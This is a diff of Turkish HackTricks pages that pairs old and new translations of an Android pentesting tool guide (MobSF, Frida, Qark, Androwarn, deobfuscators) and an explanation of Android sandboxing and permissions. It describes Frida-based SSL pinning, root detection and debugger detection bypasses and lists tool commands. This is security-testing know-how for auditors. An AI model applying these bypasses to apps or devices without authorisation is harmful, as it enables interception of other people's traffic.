**Android** sürümlerinden > 5, **Frida'yı otomatik olarak başlatacak** ve global **proxy** ayarlarını **trafiği yakalamak** için ayarlayacaktır. Test edilen uygulamadan sadece trafiği yakalayacaktır. **Android** sürümlerinden > 5, **Frida'yı otomatik olarak başlatacak** ve **global proxy** ayarlarını **trafiği yakalamak** için ayarlayacaktır. Test edilen uygulamadan sadece trafiği yakalayacaktır.
**Frida** **Frida**
Varsayılan olarak, ayrıca **SSL pinning'i atlatmak**, **root tespiti** ve **debugger tespiti** yapmak ve **ilginç API'leri izlemek** için bazı Frida Komut Dosyalarını kullanacaktır.\ Varsayılan olarak, ayrıca bazı Frida Komut Dosyalarını kullanarak **SSL pinning'i atlatmak**, **root tespiti** ve **debugger tespiti** yapacak ve ilginç API'ları **izlemek** için kullanacaktır.\
MobSF ayrıca dışa aktarılan etkinlikleri **çağırabilir**, onların **ekran görüntülerini** alabilir ve rapor için **kaydedebilir**. MobSF ayrıca dışa aktarılan etkinlikleri **başlatmayı**, onların **ekran görüntülerini yakalamayı** ve rapor için onları **kaydetmeyi** sağlayabilir.
Dinamik testi başlatmak için yeşil düğmeye basın: "**Start Instrumentation**". Frida komut dosyaları tarafından oluşturulan günlükleri görmek için "**Frida Live Logs**" düğmesine basın ve kancalanan yöntemlere yapılan tüm çağrıları, iletilen argümanları ve döndürülen değerleri görmek için "**Live API Monitor**" düğmesine basın ("Start Instrumentation" düğmesine bastıktan sonra görünecektir).\ Dinamik testi başlatmak için yeşil düğmeye basın: "**Start Instrumentation**". Frida komut dosyaları tarafından oluşturulan günlükleri görmek için "**Frida Live Logs**" düğmesine basın ve kancalanan yöntemlere yapılan tüm çağrıları, iletilen argümanları ve döndürülen değerleri görmek için "**Live API Monitor**" düğmesine basın ("Start Instrumentation" düğmesine bastıktan sonra görünecektir).\
MobSF ayrıca kendi **Frida komut dosyalarınızı** yüklemenize izin verir (Friday komut dosyalarınızın sonuçlarını MobSF'ye göndermek için `send()` işlevini kullanın). Yükleyebileceğiniz **çeşitli önceden yazılmış komut dosyaları** da vardır (`MobSF/DynamicAnalyzer/tools/frida_scripts/others/` içine daha fazlasını ekleyebilirsiniz), bunları **seçin**, "**Yükle**" düğmesine basın ve "**Start Instrumentation**" düğmesine basın (bu komut dosyalarının günlüklerini "**Frida Live Logs**" içinde görebileceksiniz). MobSF ayrıca kendi **Frida komut dosyalarınızı** yüklemenize izin verir (Friday komut dosyalarınızın sonuçlarını MobSF'ye göndermek için `send()` işlevini kullanın). Yükleyebileceğiniz **çeşitli önceden yazılmış komut dosyaları** da vardır (`MobSF/DynamicAnalyzer/tools/frida_scripts/others/` içine daha fazlasını ekleyebilirsiniz), bunları **seçin**, "**Yükle**" düğmesine basın ve "**Start Instrumentation**" düğmesine basın (bu komut dosyalarının günlüklerini "**Frida Live Logs**" içinde görebileceksiniz).
@ -606,8 +609,8 @@ MobSF ayrıca kendi **Frida komut dosyalarınızı** yüklemenize izin verir (Fr
Ayrıca, bazı Yardımcı Frida işlevleri bulunmaktadır: Ayrıca, bazı Yardımcı Frida işlevleri bulunmaktadır:
* **Yüklenen Sınıfları Sırala**: Yüklenen tüm sınıfları yazdırır * **Yüklenen Sınıfları Sırala**: Yüklenen tüm sınıfları yazdıracaktır
* **Dizeleri Yakalama**: Uygulamayı kullanırken yakalanan tüm dizeleri yazdırır (çok gürültülü) * **Dizeleri Yakalama**: Uygulamayı kullanırken yakalanan tüm dizeleri yazdıracaktır (çok gürültülü)
* **Dize Karşılaştırmalarını Yakalama**: Çok faydalı olabilir. **Karşılaştırılan 2 dizeyi** ve sonucun Doğru mu Yanlış mı olduğunu gösterecektir. * **Dize Karşılaştırmalarını Yakalama**: Çok faydalı olabilir. **Karşılaştırılan 2 dizeyi** ve sonucun Doğru mu Yanlış mı olduğunu gösterecektir.
* **Sınıf Yöntemlerini Sırala**: Sınıf adını (örneğin "java.io.File") girin ve sınıfın tüm yöntemlerini yazdıracaktır. * **Sınıf Yöntemlerini Sırala**: Sınıf adını (örneğin "java.io.File") girin ve sınıfın tüm yöntemlerini yazdıracaktır.
* **Sınıf Desenini Ara**: Desene göre sınıfları ara * **Sınıf Desenini Ara**: Desene göre sınıfları ara
@ -628,13 +631,13 @@ receivers
``` ```
**HTTP araçları** **HTTP araçları**
HTTP trafiği yakalandığında, yakalanan trafiğin kötü bir görünümünü "**HTTP(S) Trafik**" altında veya daha güzel bir görünümü "**HTTP Araçları Başlat**" yeşil altında görebilirsiniz. İkinci seçenekten, yakalanan istekleri Burp veya Owasp ZAP gibi **proxy'lere gönderebilirsiniz**.\ HTTP trafiği yakalandığında, yakalanan trafiğin kötü bir görünümünü "**HTTP(S) Trafik**" altında veya daha güzel bir görünümü "**HTTP Araçları Başlat**" yeşil altında görebilirsiniz. İkinci seçenekten, **yakalanan istekleri** Burp veya Owasp ZAP gibi **proxy'lere gönderebilirsiniz**.\
Bunu yapmak için, _Burp'u açın -->_ _Intercept'i kapatın --> MobSB HTTP Araçları'nda isteği seçin_ --> "**Fuzzera Gönder**" düğmesine basın --> _proxy adresini seçin_ ([http://127.0.0.1:8080\\](http://127.0.0.1:8080)). Bunu yapmak için, _Burp'u açın -->_ _Intercept'i kapatın --> MobSB HTTP Araçları'nda isteği seçin_ --> "**Fuzzer'a Gönder**" düğmesine basın --> _proxy adresini seçin_ ([http://127.0.0.1:8080\\](http://127.0.0.1:8080)).
MobSF ile dinamik analizi tamamladıktan sonra "**Web API Fuzzer'ı Başlat**" düğmesine basarak **http isteklerini fuzz** edebilir ve zayıflıkları arayabilirsiniz. MobSF ile dinamik analizi tamamladıktan sonra, zayıflıkları aramak için "**Web API Fuzzer'ı Başlat**" düğmesine basabilirsiniz.
{% hint style="info" %} {% hint style="info" %}
MobSF ile dinamik analiz yapıldıktan sonra proxy ayarları yanlış yapılandırılmış olabilir ve bunları GUI'den düzeltemeyebilirsiniz. Proxy ayarlarını düzeltmek için şunları yapabilirsiniz: MobSF ile dinamik analiz yapıldıktan sonra, proxy ayarları yanlış yapılandırılmış olabilir ve bunları GUI'den düzeltemeyebilirsiniz. Proxy ayarlarını düzeltmek için şunları yapabilirsiniz:
``` ```
adb shell settings put global http_proxy :0 adb shell settings put global http_proxy :0
``` ```
@ -643,7 +646,7 @@ adb shell settings put global http_proxy :0
### Inspeckage ile Destekli Dinamik Analiz ### Inspeckage ile Destekli Dinamik Analiz
Araç [**Inspeckage**](https://github.com/ac-pm/Inspeckage) adresinden temin edilebilir.\ Araç [**Inspeckage**](https://github.com/ac-pm/Inspeckage) adresinden temin edilebilir.\
Bu araç, **dinamik analiz** yaparken uygulamada neler olduğunu öğrenmenizi sağlamak için bazı **Hooks** kullanır. Bu araç, bir **dinamik analiz** gerçekleştirirken uygulamada neler olduğunu bilmenizi sağlamak için bazı **Hooks** kullanır.
### [Yaazhini](https://www.vegabird.com/yaazhini/) ### [Yaazhini](https://www.vegabird.com/yaazhini/)
@ -653,7 +656,7 @@ Bu, bir GUI ile **statik analiz yapmak için harika bir araçtır**
### [Qark](https://github.com/linkedin/qark) ### [Qark](https://github.com/linkedin/qark)
Bu araç, **kaynak kodunda** veya **paketlenmiş APK'lerde** çeşitli **güvenlikle ilgili Android uygulama zafiyetlerini** aramak için tasarlanmıştır. Araç ayrıca bazı bulunan zafiyetleri sömürmek için bir "Kavram Kanıtı" dağıtılabilir APK ve **ADB komutları** oluşturma yeteneğine sahiptir (Açık aktiviteler, intent'ler, tapjacking...). Drozer gibi, test cihazını rootlama ihtiyacı yoktur. Bu araç, **kaynak kodunda** veya **paketlenmiş APK'lerde** çeşitli **güvenlikle ilgili Android uygulama zafiyetlerini** aramak için tasarlanmıştır. Araç ayrıca bazı bulunan zafiyetleri sömürmek için bir "Proof-of-Concept" dağıtılabilir APK ve **ADB komutları** oluşturma yeteneğine sahiptir (Açık aktiviteler, intent'ler, tapjacking...). Drozer gibi, test cihazını rootlama ihtiyacı yoktur.
```bash ```bash
pip3 install --user qark # --user is only needed if not using a virtualenv pip3 install --user qark # --user is only needed if not using a virtualenv
qark --apk path/to/my.apk qark --apk path/to/my.apk
@ -673,7 +676,7 @@ reverse-apk relative/path/to/APP.apk
``` ```
### [SUPER Android Analyzer](https://github.com/SUPERAndroidAnalyzer/super) ### [SUPER Android Analyzer](https://github.com/SUPERAndroidAnalyzer/super)
SUPER, Windows, MacOS X ve Linux'da kullanılabilen bir komut satırı uygulamasıdır ve _.apk_ dosyalarını güvenlik açıklarını aramak için analiz eder. Bu işlemi APK'leri açarak ve bu açıkları tespit etmek için bir dizi kural uygulayarak yapar. SUPER, Windows, MacOS X ve Linux'da kullanılabilen bir komut satırı uygulamasıdır ve _.apk_ dosyalarını güvenlik açıklarını aramak için analiz eder. Bu işlemi APK'leri açarak ve bu güvenlik ıklarını tespit etmek için bir dizi kural uygulayarak yapar.
Tüm kurallar `rules.json` dosyasında merkezlenmiştir ve her şirket veya testçi kendi ihtiyaçlarını analiz etmek için kendi kurallarını oluşturabilir. Tüm kurallar `rules.json` dosyasında merkezlenmiştir ve her şirket veya testçi kendi ihtiyaçlarını analiz etmek için kendi kurallarını oluşturabilir.
@ -685,11 +688,11 @@ super-analyzer {apk_file}
![](<../../.gitbook/assets/image (62).png>) ![](<../../.gitbook/assets/image (62).png>)
StaCoAn, mobil uygulamalarda **statik kod analizi** yapmak için geliştiricilere, hata avcılarına ve etik hackerlara yardımcı olan **çapraz platform** bir araçtır. StaCoAn, mobil uygulamalarda **statik kod analizi** gerçekleştiren geliştiricilere, hata avcılarına ve etik hackerlara yardımcı olan **çapraz platform** bir araçtır.
Kavram, mobil uygulama dosyanızı (bir .apk veya .ipa dosyası) StaCoAn uygulamasına sürükleyip bıraktığınızda size görsel ve taşınabilir bir rapor oluşturacaktır. Ayarları ve kelime listelerini özelleştirebilirsiniz. Kavram, mobil uygulama dosyanızı (bir .apk veya .ipa dosyası) StaCoAn uygulamasına sürükleyip bıraktığınızda size görsel ve taşınabilir bir rapor oluşturacaktır. Ayarları ve kelime listelerini özelleştirebilirsiniz.
[En son sürümü indirin](https://github.com/vincentcox/StaCoAn/releases): En son sürümü indirmek için [en son sürümü](https://github.com/vincentcox/StaCoAn/releases) indirin:
``` ```
./stacoan ./stacoan
``` ```
@ -705,9 +708,9 @@ androbugs.exe -f [APK file]
**Androwarn**, Android uygulaması tarafından geliştirilen potansiyel kötü niyetli davranışları tespit etmek ve kullanıcıyı uyarı amacıyla tasarlanmış bir araçtır. **Androwarn**, Android uygulaması tarafından geliştirilen potansiyel kötü niyetli davranışları tespit etmek ve kullanıcıyı uyarı amacıyla tasarlanmış bir araçtır.
Tespit, uygulamanın Dalvik bytecode'ının **statik analizi** ile gerçekleştirilir ve bu bytecode **Smali** olarak temsil edilir. Bu işlem, [`androguard`](https://github.com/androguard/androguard) kütüphanesi ile yapılır. Tespit, uygulamanın Dalvik bytecode'ının **statik analizi** ile gerçekleştirilir ve bu bytecode **Smali** olarak temsil edilir. Bu işlem için [`androguard`](https://github.com/androguard/androguard) kütüphanesi kullanılır.
Bu araç, "kötü" uygulamaların yaygın davranışlarını arar, örneğin: Telefoni kimlik bilgilerinin dışa aktarılması, Ses/video akışının dinlenmesi, PIM verilerinin değiştirilmesi, Keyfi kod yürütme... Bu araç, Telefoni kimlik bilgilerinin sızdırılması, Ses/video akışının dinlenmesi, PIM verilerinin değiştirilmesi, Keyfi kod yürütme gibi **"kötü" uygulamaların yaygın davranışlarını** arar.
``` ```
python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3 python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3
``` ```
@ -715,15 +718,15 @@ python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3
![](<../../.gitbook/assets/image (81).png>) ![](<../../.gitbook/assets/image (81).png>)
**MARA**, Mobil Uygulama Tersine Mühendislik ve Analiz Çerçevesidir. OWASP mobil güvenlik tehditlerine karşı mobil uygulamaları test etmeye yardımcı olmak için yaygın olarak kullanılan mobil uygulama tersine mühendislik ve analiz araçlarını bir araya getiren bir araçtır. Amacı, bu görevi mobil uygulama geliştiricileri ve güvenlik uzmanları için daha kolay ve dostane hale getirmektir. **MARA**, **M**obil **A**pplication **R**everse engineering ve **A**nalysis Framework'üdür. Bu, mobil uygulamaları OWASP mobil güvenlik tehditlerine karşı test etmeye yardımcı olmak için yaygın olarak kullanılan mobil uygulama tersine mühendislik ve analiz araçlarını bir araya getiren bir araçtır. Amacı, bu görevi mobil uygulama geliştiricileri ve güvenlik uzmanları için daha kolay ve dostça hale getirmektir.
Şunları yapabilir: Şunları yapabilir:
* Farklı araçlar kullanarak Java ve Smali kodunu çıkartma * Farklı araçlar kullanarak Java ve Smali kodunu çıkartma
* APK'leri şu şekilde analiz etme: [smalisca](https://github.com/dorneanu/smalisca), [ClassyShark](https://github.com/google/android-classyshark), [androbugs](https://github.com/AndroBugs/AndroBugs_Framework), [androwarn](https://github.com/maaaaz/androwarn), [APKiD](https://github.com/rednaga/APKiD) * APK'leri şu şekilde analiz etme: [smalisca](https://github.com/dorneanu/smalisca), [ClassyShark](https://github.com/google/android-classyshark), [androbugs](https://github.com/AndroBugs/AndroBugs_Framework), [androwarn](https://github.com/maaaaz/androwarn), [APKiD](https://github.com/rednaga/APKiD)
* APK'den özel bilgileri regexps kullanarak çıkartma * APK'den regexps kullanarak özel bilgileri çıkartma.
* Manifesti analiz etme * Manifesti analiz etme.
* Bulunan alanları şu araçlar kullanarak analiz etme: [pyssltest](https://github.com/moheshmohan/pyssltest), [testssl](https://github.com/drwetter/testssl.sh) ve [whatweb](https://github.com/urbanadventurer/WhatWeb) * Bulunan alanları şu şekilde analiz etme: [pyssltest](https://github.com/moheshmohan/pyssltest), [testssl](https://github.com/drwetter/testssl.sh) ve [whatweb](https://github.com/urbanadventurer/WhatWeb)
* APK'yi [apk-deguard.com](http://www.apk-deguard.com) aracılığıyla deobfuscate etme * APK'yi [apk-deguard.com](http://www.apk-deguard.com) aracılığıyla deobfuscate etme
### Koodous ### Koodous
@ -736,7 +739,7 @@ Kodu obfuscate etmek için kullandığınız hizmet ve yapılandırmaya bağlı
### [ProGuard](https://en.wikipedia.org/wiki/ProGuard\_\(software\)) ### [ProGuard](https://en.wikipedia.org/wiki/ProGuard\_\(software\))
[Wikipedia'dan](https://en.wikipedia.org/wiki/ProGuard\_\(software\)): **ProGuard**, Java kodunu küçülten, optimize eden ve obfuscate eden bir açık kaynaklı komut satırı aracıdır. Bytecode'ı optimize edebilir ve kullanılmayan talimatları tespit edip kaldırabilir. ProGuard ücretsiz yazılımdır ve GNU Genel Kamu Lisansı, sürüm 2 altında dağıtılmaktadır. [Wikipedia'dan](https://en.wikipedia.org/wiki/ProGuard\_\(software\)): **ProGuard**, Java kodunu küçülten, optimize eden ve obfuscate eden bir açık kaynaklı komut satırı aracıdır. Bytecode'ları optimize edebilir ve kullanılmayan talimatları tespit edip kaldırabilir. ProGuard, özgür yazılımdır ve GNU Genel Kamu Lisansı, sürüm 2 altında dağıtılmaktadır.
ProGuard, Android SDK'nın bir parçası olarak dağıtılır ve uygulamayı yayınlama modunda derlerken çalışır. ProGuard, Android SDK'nın bir parçası olarak dağıtılır ve uygulamayı yayınlama modunda derlerken çalışır.
@ -744,9 +747,9 @@ ProGuard, Android SDK'nın bir parçası olarak dağıtılır ve uygulamayı yay
APK'nın deobfuscate edilmesi için adım adım kılavuz için [https://blog.lexfo.fr/dexguard.html](https://blog.lexfo.fr/dexguard.html) adresine bakın APK'nın deobfuscate edilmesi için adım adım kılavuz için [https://blog.lexfo.fr/dexguard.html](https://blog.lexfo.fr/dexguard.html) adresine bakın
(O kılavuzdan) Son kontrol ettiğimizde, Dexguard'ın işlem modu şuydu: (O kılavuzdan) Son kontrol ettiğimizde, Dexguard'ın işlem modu şöyleydi:
* Bir kaynağı InputStream olarak yükle; * Bir kaynağı bir InputStream olarak yükle;
* Sonucu şifrelemek için FilterInputStream'den türeyen bir sınıfa besle; * Sonucu şifrelemek için FilterInputStream'den türeyen bir sınıfa besle;
* Bir reverser'ın birkaç dakikasını boşa harcamak için bazı gereksiz obfuscation yap; * Bir reverser'ın birkaç dakikasını boşa harcamak için bazı gereksiz obfuscation yap;
* Şifrelenmiş sonucu almak için bir ZipInputStream'a besle ve bir DEX dosyası al; * Şifrelenmiş sonucu almak için bir ZipInputStream'a besle ve bir DEX dosyası al;
@ -754,13 +757,13 @@ APK'nın deobfuscate edilmesi için adım adım kılavuz için [https://blog.lex
### [DeGuard](http://apk-deguard.com) ### [DeGuard](http://apk-deguard.com)
**DeGuard, Android obfuscation araçları tarafından gerçekleştirilen obfuscation işlemini tersine çevirir. Bu, kod incelemesi ve kütüphaneleri tahmin etmeyi de içeren birçok güvenlik analizine olanak tanır.** **DeGuard, Android obfuscation araçları tarafından gerçekleştirilen obfuscation işlemini tersine çevirir. Bu, kod incelemesi ve kütüphaneleri tahmin etmeyi içeren birçok güvenlik analizine olanak tanır.**
Obfuscated bir APK'yı platformlarına yükleyebilirsiniz. Obfuscated bir APK'yı platformlarına yükleyebilirsiniz.
### [Simplify](https://github.com/CalebFenton/simplify) ### [Simplify](https://github.com/CalebFenton/simplify)
Bu, **genel bir android deobfuscator**'dır. Simplify, bir uygulamayı **neredeyse yürütür** ve ardından kodu **aynı şekilde davranacak şekilde optimize etmeye çalışır** ancak insanlar için daha anlaşılır hale getirir. Her optimizasyon türü basit ve geneldir, bu nedenle kullanılan belirli obfuscation türü önemli değildir. Bu, **genel bir android deobfuscator**'dür. Simplify, bir uygulamayı **neredeyse yürütür** ve ardından kodu **aynı şekilde davranacak şekilde optimize etmeye çalışır** ancak insanlar için daha anlaşılır hale getirir. Her optimizasyon türü basit ve geneldir, bu nedenle kullanılan belirli obfuscation türü önemli değildir.
### [APKiD](https://github.com/rednaga/APKiD) ### [APKiD](https://github.com/rednaga/APKiD)
@ -768,7 +771,7 @@ APKiD, bir APK'nın **nasıl yapıldığı** hakkında bilgi verir. Birçok **de
### Manuel ### Manuel
Özel obfuscation'ı tersine çevirmenin bazı püf noktalarını öğrenmek için bu öğreticiyi okuyun: [**custom obfuscation'ı tersine çevirme**](manual-deobfuscation.md) Özel obfuscation'ı tersine çevirmenin bazı püf noktalarını öğrenmek için bu kılavuzu okuyun: [manual-deobfuscation.md](manual-deobfuscation.md)
## Lablar ## Lablar
@ -779,7 +782,7 @@ AndroL4b, tersine mühendislik ve kötü amaçlı yazılım analizi için farkl
## Referanslar ## Referanslar
* [https://owasp.org/www-project-mobile-app-security/](https://owasp.org/www-project-mobile-app-security/) * [https://owasp.org/www-project-mobile-app-security/](https://owasp.org/www-project-mobile-app-security/)
* [https://appsecwiki.com/#/](https://appsecwiki.com/#/) Kaynakların harika bir listesi * [https://appsecwiki.com/#/](https://appsecwiki.com/#/) Harika bir kaynak listesi
* [https://maddiestone.github.io/AndroidAppRE/](https://maddiestone.github.io/AndroidAppRE/) Android hızlı kursu * [https://maddiestone.github.io/AndroidAppRE/](https://maddiestone.github.io/AndroidAppRE/) Android hızlı kursu
* [https://manifestsecurity.com/android-application-security/](https://manifestsecurity.com/android-application-security/) * [https://manifestsecurity.com/android-application-security/](https://manifestsecurity.com/android-application-security/)
* [https://github.com/Ralireza/Android-Security-Teryaagh](https://github.com/Ralireza/Android-Security-Teryaagh) * [https://github.com/Ralireza/Android-Security-Teryaagh](https://github.com/Ralireza/Android-Security-Teryaagh)
@ -792,15 +795,29 @@ AndroL4b, tersine mühendislik ve kötü amaçlı yazılım analizi için farkl
<figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
Deneyimli hackerlar ve hata ödülü avcılarıyla iletişim kurmak için [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) sunucusuna katılın! [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) sunucusuna katılın ve deneyimli hackerlar ve ödül avcıları ile iletişim kurun!
**Hacking İçgörüleri**\ **Hacking Insights**\
Hacking'in heyecanını ve zorluklarını inceleyen içeriklerle etkileşime gin Hacking'in heyecanını ve zorluklarını inceleyen içeriklerle etkileşime girin
**Gerçek Zamanlı Hack Haberleri**\ **Gerçek Zamanlı Hack Haberleri**\
Hızlı tempolu hacking dünyasını gerçek zamanlı haberler ve içgörülerle takip edin Hızlı tempolu hacking dünyasını gerçek zamanlı haberler ve içgörülerle takip edin
**En Son Duyurular**\ **En Son Duyurular**\
Yeni hata ödülleri ve önemli platform güncellemeleri hakkında bilgi edinin En yeni ödül avı başlatmaları ve önemli platform güncellemeleri hakkında bilgilenin
**Bize** [**Discord**](https://discord.com/invite/N3FrSbmwdy) **katılın ve bugün en iyi hackerlarla işbirliğine başlayın!** **Bize** [**Discord**](https://discord.com/invite/N3FrSbmwdy) **katılın ve bugün en iyi hackerlarla işbirliğine başlayın!**
<details>
<summary><strong>Sıfırdan kahraman olacak şekilde AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> ile!</strong></summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**'u takip edin.**
* **Hacking püf noktalarınızı göndererek HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına PR'lar göndererek paylaşın.
</details>

View file

@ -2,7 +2,7 @@
<details> <details>
<summary><strong>Sıfırdan kahraman olacak şekilde AWS hacklemeyi öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary><strong>Sıfırdan kahraman olmak için AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
HackTricks'ı desteklemenin diğer yolları: HackTricks'ı desteklemenin diğer yolları:
@ -16,7 +16,7 @@ HackTricks'ı desteklemenin diğer yolları:
**Try Hard Güvenlik Grubu** **Try Hard Güvenlik Grubu**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %} {% embed url="https://discord.gg/tryhardsecurity" %}
@ -27,52 +27,52 @@ HackTricks'ı desteklemenin diğer yolları:
**İki katman bulunmaktadır:** **İki katman bulunmaktadır:**
* **İşletim Sistemi (OS)**, yüklü uygulamaları birbirinden izole eder. * **İşletim Sistemi (OS)**, yüklü uygulamaları birbirinden izole eder.
* **Uygulama kendisi**, geliştiricilere belirli işlevleri **açığa çıkarmalarına** ve uygulama yeteneklerini yapılandırmalarına olanak tanır. * **Uygulama kendisi**, geliştiricilere **belirli işlevleri açığa çıkarma** ve uygulama yeteneklerini yapılandırma olanağı sağlar.
### UID Ayrımı ### UID Ayrımı
**Her uygulamaya belirli bir Kullanıcı Kimliği (UID) atanır**. Bu, uygulamanın yüklenmesi sırasında yapılır, böylece uygulama yalnızca kendi UID'sine ait dosyalara veya paylaşılan dosyalara erişebilir. Bu nedenle, yalnızca uygulama kendisi, işletim sisteminin belirli bileşenleri ve kök kullanıcı uygulama verilerine erişebilir. **Her uygulamaya belirli bir Kullanıcı Kimliği (UID) atanır**. Bu, uygulamanın yüklenmesi sırasında yapılır, böylece uygulama yalnızca kendi UID'sine ait dosyalara veya paylaşılan dosyalara erişebilir. Bu nedenle, yalnızca uygulama kendisi, OS'nin belirli bileşenleri ve kök kullanıcı uygulama verilerine erişebilir.
### UID Paylaşımı ### UID Paylaşımı
**İki uygulama aynı UID'yi kullanacak şekilde yapılandırılabilir**. Bu bilgi paylaşımı için yararlı olabilir, ancak bunlardan biri tehlikeye düşerse her iki uygulamanın verileri de tehlikeye düşer. Bu nedenle bu davranış **önerilmez**.\ **İki uygulama aynı UID'yi kullanacak şekilde yapılandırılabilir**. Bu, bilgi paylaşmak için faydalı olabilir, ancak bunlardan biri tehlikeye düşerse her iki uygulamanın verileri de tehlikeye düşer. Bu nedenle bu davranış **önlenir**.\
**Aynı UID'yi paylaşmak için uygulamalar, manifestolarında aynı `android:sharedUserId` değerini tanımlamalıdır.** **Aynı UID'yi paylaşmak için uygulamalar, manifestlerinde aynı `android:sharedUserId` değerini tanımlamalıdır.**
### Kum Sandığı (Sandboxing) ### Kum Sandığı (Sandboxing)
**Android Uygulama Kum Sandığı**, **her uygulamanın** ayrı bir süreç olarak çalışmasına olanak tanır ve her birine ayrı bir kullanıcı kimliği atar. Her sürecin kendi sanal makinesi vardır, bu nedenle bir uygulamanın kodu diğer uygulamalardan izole bir şekilde çalışır.\ **Android Uygulama Kum Sandığı**, **her uygulamayı** ayrı bir işlem olarak çalıştırmaya olanak tanır ve her birine ayrı bir kullanıcı kimliği atar. Her işlem kendi sanal makinesine sahiptir, bu nedenle bir uygulamanın kodu diğer uygulamalardan izole bir şekilde çalışır.\
Android 5.0(L) itibariyle **SELinux** zorunlu hale getirilmiştir. Temelde, SELinux tüm süreç etkileşimlerini reddetti ve ardından bunlar arasındaki **beklenen etkileşimlere yalnızca izin veren politikalar oluşturdu**. Android 5.0(L) itibariyle **SELinux** zorunlu hale getirilmiştir. Temelde, SELinux tüm işlem etkileşimlerini reddetti ve ardından bunlar arasındaki **beklenen etkileşimlere yalnızca izin veren politikalar oluşturdu**.
### İzinler ### İzinler
Bir **uygulama yüklediğinizde ve izinler istediğinde**, uygulama **AndroidManifest.xml** dosyasındaki **`uses-permission`** öğelerinde yapılandırılan izinleri istemektedir. **uses-permission** öğesi, istenen iznin adını içeren **name** **özniteliğini** belirtir. Ayrıca **maxSdkVersion** özniteliği vardır, bu özellik belirtilenden daha yüksek sürümlerde izin istemeyi durdurur.\ Bir **uygulama yüklediğinizde ve izinler istediğinde**, uygulama **AndroidManifest.xml** dosyasındaki **`uses-permission`** öğelerinde yapılandırılan izinleri istemektedir. **uses-permission** öğesi, istenen iznin adını içeren **name** **özniteliğini** belirtir. Ayrıca **maxSdkVersion** özniteliği vardır, bu, belirtilen sürümden daha yüksek sürümlerde izin istemeyi durdurur.\
Android uygulamalarının tüm izinleri başlangıçta sorması gerekmediğini unutmayın, ayrıca **izinleri dinamik olarak da isteyebilirler** ancak tüm izinler **manifestoda belirtilmelidir**. Android uygulamalarının tüm izinleri başlangıçta sorması gerekmediğini unutmayın, ayrıca **izinleri dinamik olarak isteyebilirler** ancak tüm izinler **manifestte belirtilmelidir**.
Bir uygulama işlevsellik açığa çıkardığında, **erişimi yalnızca belirli bir izne sahip uygulamalara sınırlayabilir**.\ Bir uygulama işlevsellik açığa çıkardığında, **erişimi yalnızca belirli bir izne sahip uygulamalara sınırlayabilir**.\
Bir izin öğesinin üç özelliği vardır: Bir izin öğesinin üç özelliği vardır:
* İzinin **adı** * İzinin **adı**
* İzin grubu özniteliği, ilgili izinleri gruplandırmaya olanak tanır. * İzin grubu özniteliği, ilgili izinleri gruplandırmaya olanak tanır.
* İzinlerin nasıl verildiğini belirten **koruma düzeyi**. Dört tür vardır: * İzin seviyesi, izinlerin nasıl verildiğini belirtir. Dört tür vardır:
* **Normal**: Uygulamaya **bilinen tehditler** olmadığında kullanılır. Kullanıcının **onayı gerekmez**. * **Normal**: Uygulamaya **bilinen tehditler** olmadığında kullanılır. Kullanıcının **onaylaması gerekmez**.
* **Tehlikeli**: İzinin isteyen uygulamaya bazı **yükseltilmiş erişim** sağladığını belirtir. **Kullanıcıların onayını talep eder**. * **Tehlikeli**: İzinin isteyen uygulamaya bazı **yükseltilmiş erişim** sağladığını belirtir. **Kullanıcıların onayını talep eder**.
* **Signature**: Yalnızca **bileşeni ihraç eden sertifika ile aynı sertifikaya sahip uygulamalara** izin verilebilir. Bu en güçlü koruma türüdür. * **Signature**: Yalnızca **bileşeni dışa aktaran sertifika ile aynı sertifikaya sahip uygulamalara** izin verilebilir. Bu, en güçlü koruma türüdür.
* **SignatureOrSystem**: Yalnızca **bileşeni ihraç eden sertifika ile aynı sertifikaya sahip uygulamalara** veya **sistem düzeyinde erişimle çalışan uygulamalara** izin verilebilir * **SignatureOrSystem**: Yalnızca **bileşeni dışa aktaran sertifika ile aynı sertifikaya sahip uygulamalara** veya **sistem düzeyinde erişimle çalışan uygulamalara** izin verilebilir
## Ön Yüklü Uygulamalar ## Ön Yüklü Uygulamalar
